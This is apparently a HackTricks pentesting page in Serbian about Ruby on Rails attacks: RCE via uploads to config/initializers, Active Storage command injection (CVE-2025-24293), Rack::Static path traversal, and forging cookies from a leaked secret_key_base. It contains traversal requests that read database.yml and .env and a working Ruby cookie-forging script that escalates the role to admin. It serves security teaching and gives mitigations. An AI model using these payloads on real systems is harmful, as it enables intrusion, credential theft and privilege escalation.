Ruby trikovi
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Otpremanje fajla do RCE
Kao što je objašnjeno u this article, otpremanje .rb
fajla u osetljive direktorijume kao što su config/initializers/
može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.
Saveti:
- Druge lokacije koje se izvršavaju pri startovanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr.
config/initializers/
je klasičan primer). Ako nađete arbitrarno otpremanje fajla koje se smešta bilo gde podconfig/
i kasnije evaluated/required, možete dobiti RCE pri boot-u. - Tražite dev/staging build-ove koji kopiraju fajlove pod kontrolom korisnika u container image gde će Rails učitati te fajlove pri startu.
Active Storage image transformation → command execution (CVE-2025-24293)
Kada aplikacija koristi Active Storage sa image_processing
+ mini_magick
, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformacije greškom dozvoljene po defaultu.
- Rizičan obrazac izgleda ovako:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
gde su params[:t]
i/ili params[:v]
pod kontrolom napadača.
-
Šta probati tokom testiranja
-
Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili proizvoljne ImageMagick argumente.
-
Fuzz-ujte
params[:t]
iparams[:v]
tražeći sumnjive greške ili neželjene efekte izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji dopiru do MiniMagick, možete ostvariti code exec na hostu koji procesuira slike. -
Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration preko crafted ImageMagick operacija.
-
Remedijacija/detekcije
-
Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage +
image_processing
+mini_magick
i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučuje se nadogradnja i nametanje striktnih allowlists za metode/parametre i hardened ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije rack
pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko Rack::Static
kada :root
nije podešen/je pogrešno konfiguran. Encodovani traversal u PATH_INFO
može otkriti fajlove pod radnim direktorijumom procesa ili neočekivanim root-om.
- Tražite aplikacije koje mount-uju
Rack::Static
uconfig.ru
ili middleware stack-ovima. Probajte encodovane traversale prema statičkim putanjama, na primer:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Podesite prefix da odgovara konfigurisanom urls:
. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka svemu ispod razrešenog :root
.
- Mitigacija: nadogradite Rack; osigurajte da
:root
pokazuje samo na direktorijum sa javnim fajlovima i eksplicitno je podešen.
Forging/decrypting Rails cookies when secret_key_base
is leaked
Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz secret_key_base
. If that value leaks (npr. u repozitorijumu, logovima ili pogrešno konfigurisanim credentials), obično možete dekriptovati, izmeniti i ponovo enkriptovati cookies. Ovo često vodi do authz bypass ako aplikacija skladišti uloge, user IDs, ili feature flags u kolačićima.
Minimal Ruby za dekriptovanje i ponovno enkriptovanje modernih cookies (AES-256-GCM, default u recentnim Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Napomene:
- Starije aplikacije mogu koristiti AES-256-CBC i saltove
encrypted cookie
/signed encrypted cookie
, ili JSON/Marshal serializere. Po potrebi prilagodite saltove, cipher i serializer. - U slučaju kompromitacije ili procene, rotirajte
secret_key_base
kako biste invalidirali sve postojeće cookies.
Pogledajte i (Ruby/Rails-specifične ranjivosti)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Reference
- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub bezbednosno obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.